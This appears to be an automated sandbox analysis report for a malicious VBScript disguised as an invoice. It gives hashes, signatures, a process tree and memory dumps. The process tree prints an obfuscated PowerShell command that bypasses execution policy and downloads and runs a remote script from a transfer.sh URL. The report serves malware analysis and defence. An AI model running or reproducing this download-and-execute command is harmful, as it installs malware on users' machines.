Analysis

  • max time kernel
    117s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    21-11-2024 22:31

General

  • Target

    Revised Invoice #03252022.vbs

  • Size

    636B

  • MD5

    e0e7f44f32d0b3dabb08bd61a3b81f6a

  • SHA1

    3b5d3334936280cee7be949a7712669300502377

  • SHA256

    db00c50095732ed84821f321b813546431f298525fea8dbd1a4545c3abfa1fe1

  • SHA512

    78baf7107944bc1cc371f058f73a2ecd1f601b3401d10774440cfcbcc767549bb43143c261422e7bd2e3f345a5ebb99acda70ca1a2033ccbcd08ef86edff8bf1

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://transfer.sh/get/9GqmOG/jramooooss.ps1

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Revised Invoice #03252022.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2980
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exeCutiO BYpASS -C I`eX(n`EW-Ob`J`EcT nET`.weBCLi`ENt).DoWnloAdStRiNG('https://transfer.sh/get/9GqmOG/jramooooss.ps1')
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2140

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2140-4-0x000007FEF5B8E000-0x000007FEF5B8F000-memory.dmp

    Filesize

    4KB

  • memory/2140-5-0x000000001B510000-0x000000001B7F2000-memory.dmp

    Filesize

    2.9MB

  • memory/2140-6-0x00000000029A0000-0x00000000029A8000-memory.dmp

    Filesize

    32KB

  • memory/2140-7-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

    Filesize

    9.6MB

  • memory/2140-9-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

    Filesize

    9.6MB

  • memory/2140-8-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

    Filesize

    9.6MB

  • memory/2140-10-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

    Filesize

    9.6MB

  • memory/2140-11-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

    Filesize

    9.6MB

  • memory/2140-12-0x000007FEF5B8E000-0x000007FEF5B8F000-memory.dmp

    Filesize

    4KB

  • memory/2140-13-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

    Filesize

    9.6MB